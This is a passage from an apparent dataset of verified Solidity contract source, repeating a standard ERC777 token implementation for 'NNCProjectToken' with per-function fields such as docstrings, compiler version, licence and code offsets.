* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
7798,
7989
]
} | 59,946 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
8346,
9030
]
} | 59,947 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
